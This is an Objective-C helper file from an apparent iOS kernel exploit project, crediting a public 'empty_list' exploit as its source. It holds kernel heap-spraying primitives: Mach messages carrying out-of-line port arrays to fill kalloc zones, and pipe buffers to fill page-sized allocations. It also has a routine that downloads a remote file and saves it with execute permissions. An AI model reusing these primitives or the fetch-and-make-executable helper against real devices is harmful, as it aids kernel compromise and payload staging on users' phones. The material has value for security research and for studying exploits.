249 lines
5.3 KiB
Objective-C
249 lines
5.3 KiB
Objective-C
// [1] https://github.com/externalist/exploit_playground/blob/master/empty_list/empty_list/empty_list/sploit.c
|
|
#include "utils.h"
|
|
|
|
void for_other_threads(void (^handler)(thread_act_t thread))
|
|
{
|
|
thread_act_t thread_self = mach_thread_self();
|
|
thread_act_port_array_t list;
|
|
mach_msg_type_number_t count;
|
|
kern_return_t kr = 0;
|
|
|
|
kr = task_threads(mach_task_self(), &list, &count);
|
|
if (kr != KERN_SUCCESS) {
|
|
LOG("task_threads failed");
|
|
return;
|
|
}
|
|
|
|
for (int i=0; i<count; i++) {
|
|
if (list[i] != thread_self) {
|
|
handler(list[i]);
|
|
}
|
|
}
|
|
}
|
|
|
|
void set_nofile_limit()
|
|
{
|
|
int ret;
|
|
struct rlimit rlim;
|
|
ret = getrlimit(RLIMIT_NOFILE, &rlim);
|
|
if (ret < 0) {
|
|
LOG("getresuid failed errno: %d", errno);
|
|
exit(-1);
|
|
}
|
|
LOG("nofile limit: %llx %llx", rlim.rlim_cur, rlim.rlim_max);
|
|
|
|
rlim.rlim_cur = 0x2000;
|
|
ret = setrlimit(RLIMIT_NOFILE, &rlim);
|
|
if (ret < 0) {
|
|
LOG("setrlimit failed errno: %d", errno);
|
|
exit(-1);
|
|
}
|
|
LOG("set new nofile limit: %llx", rlim.rlim_cur);
|
|
}
|
|
|
|
NSData *download_data(NSString *_url)
|
|
{
|
|
NSURL *url = [NSURL URLWithString:_url];
|
|
LOG("get %@", url);
|
|
NSData *urlData = [NSData dataWithContentsOfURL:url];
|
|
if (urlData != nil)
|
|
LOG("got remote len: %d", [urlData length]);
|
|
else
|
|
LOG("could not get %@", url);
|
|
|
|
return urlData;
|
|
}
|
|
|
|
int download(char *src, char *dest)
|
|
{
|
|
NSString *url = [NSString stringWithUTF8String:src];
|
|
NSData *data = download_data(url);
|
|
if (data == nil)
|
|
return -1;
|
|
|
|
unlink(dest);
|
|
sync();
|
|
|
|
int fd = open(dest, O_CREAT | O_RDWR,
|
|
S_IRUSR | S_IXUSR | S_IWUSR |
|
|
S_IRGRP | S_IXGRP |
|
|
S_IROTH | S_IXOTH
|
|
);
|
|
if (fd < 0) {
|
|
LOG("could not open %s", dest);
|
|
return -1;
|
|
}
|
|
|
|
int ret = write(fd, [data bytes], [data length]);
|
|
LOG("saved to %s, write ret: %d", dest, ret);
|
|
close(fd);
|
|
|
|
sync();
|
|
|
|
return 0;
|
|
}
|
|
|
|
mach_port_t alloc_port()
|
|
{
|
|
kern_return_t err;
|
|
mach_port_t port = MACH_PORT_NULL;
|
|
|
|
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
|
if (err != KERN_SUCCESS) {
|
|
LOG("mach_port_allocate failed to allocate a port");
|
|
}
|
|
|
|
// insert a send right:
|
|
err = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
|
|
if (err != KERN_SUCCESS) {
|
|
LOG("mach_port_insert_right failed");
|
|
}
|
|
|
|
return port;
|
|
}
|
|
|
|
// Controlled kernel memory allocations used below
|
|
// are taken from [1] and described there in great details.
|
|
typedef struct
|
|
{
|
|
mach_msg_header_t hdr;
|
|
mach_msg_body_t body;
|
|
mach_msg_ool_ports_descriptor_t ool_ports;
|
|
uint8_t pad[0x200];
|
|
} kalloc_mach_msg_t;
|
|
|
|
kern_return_t kalloc_ool_ports(mach_port_t port, mach_port_t ool_port, size_t cnt)
|
|
{
|
|
kern_return_t err;
|
|
kalloc_mach_msg_t kalloc_msg = {0};
|
|
uint32_t msg_size = sizeof(kalloc_msg);
|
|
// send a message with two OOL NULL ports; these will end up in a kalloc.16:
|
|
|
|
kalloc_msg.hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
|
kalloc_msg.hdr.msgh_size = msg_size; //sizeof(struct kalloc_16_send_msg);
|
|
kalloc_msg.hdr.msgh_remote_port = port;
|
|
kalloc_msg.hdr.msgh_local_port = MACH_PORT_NULL;
|
|
kalloc_msg.hdr.msgh_id = 0x41414141;
|
|
|
|
kalloc_msg.body.msgh_descriptor_count = 1;
|
|
mach_port_t ports[cnt];
|
|
for (int i=0; i<cnt; i++) {
|
|
ports[i] = ool_port;
|
|
}
|
|
|
|
kalloc_msg.ool_ports.address = ports;
|
|
kalloc_msg.ool_ports.count = cnt;
|
|
kalloc_msg.ool_ports.deallocate = 0;
|
|
kalloc_msg.ool_ports.disposition = MACH_MSG_TYPE_COPY_SEND;
|
|
kalloc_msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
|
|
kalloc_msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
|
|
|
|
err = mach_msg(&kalloc_msg.hdr,
|
|
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
|
|
(mach_msg_size_t)msg_size,
|
|
0,
|
|
MACH_PORT_NULL,
|
|
MACH_MSG_TIMEOUT_NONE,
|
|
MACH_PORT_NULL);
|
|
|
|
if (err != KERN_SUCCESS) {
|
|
LOG("sending kalloc.8 message failed %s\n", mach_error_string(err));
|
|
}
|
|
|
|
return err;
|
|
}
|
|
|
|
kern_return_t kalloc_page_ool_ports(mach_port_t port)
|
|
{
|
|
return kalloc_ool_ports(port, MACH_PORT_NULL, PAGE_SIZE/4);
|
|
}
|
|
|
|
kern_return_t kalloc_8_ool_ports(mach_port_t port, mach_port_t ool_port)
|
|
{
|
|
return kalloc_ool_ports(port, ool_port, 2);
|
|
}
|
|
|
|
void discard_message(mach_port_t port)
|
|
{
|
|
static int8_t msg_buf[0x4000];
|
|
mach_msg_header_t* msg = (mach_msg_header_t*)msg_buf;
|
|
kern_return_t err;
|
|
err = mach_msg(msg,
|
|
MACH_RCV_MSG | MACH_MSG_TIMEOUT_NONE, // no timeout
|
|
0,
|
|
sizeof(msg_buf),
|
|
port,
|
|
0,
|
|
0);
|
|
if (err != KERN_SUCCESS){
|
|
LOG("error receiving on port: %s\n", mach_error_string(err));
|
|
}
|
|
|
|
mach_msg_destroy(msg);
|
|
}
|
|
|
|
void hexdump(void *ptr, size_t n)
|
|
{
|
|
uint32_t *u32 = ptr;
|
|
|
|
for (int i=0; i<n; i+=2) {
|
|
LOG("%08X %08X", u32[i], u32[i+1]);
|
|
}
|
|
}
|
|
|
|
int pipe_create(int fds[2])
|
|
{
|
|
int ret = pipe(fds);
|
|
if (ret < 0) {
|
|
LOG("pipe allocation failed errno: %d", errno);
|
|
return -1;
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
int pipe_alloc(int fds[2], void *buf, size_t size)
|
|
{
|
|
int ret = write(fds[1], buf, size);
|
|
if (ret < 0) {
|
|
LOG("pipe write failed, fd: %d, errno: %d", fds[1], errno);
|
|
return -1;
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
void pipes_close(int *pipes, size_t count)
|
|
{
|
|
for (int i=0; i<count; i++) {
|
|
if (pipes[i*2] != -1) {
|
|
close(pipes[i*2]);
|
|
close(pipes[i*2+1]);
|
|
}
|
|
}
|
|
}
|
|
|
|
int pipes_create(int *pipes, size_t count)
|
|
{
|
|
for (int i=0; i<count; i++) {
|
|
if (pipe_create(&pipes[i*2]) < 0) {
|
|
return -1;
|
|
}
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
int pipes_alloc(int *pipes, size_t count, char *pipe_buf)
|
|
{
|
|
for (int i=0; i<count; i++) {
|
|
if (pipe_alloc(&pipes[i*2], pipe_buf, PAGE_SIZE-1) < 0) {
|
|
LOG("pipe alloc failed at %d", i);
|
|
return -1;
|
|
}
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|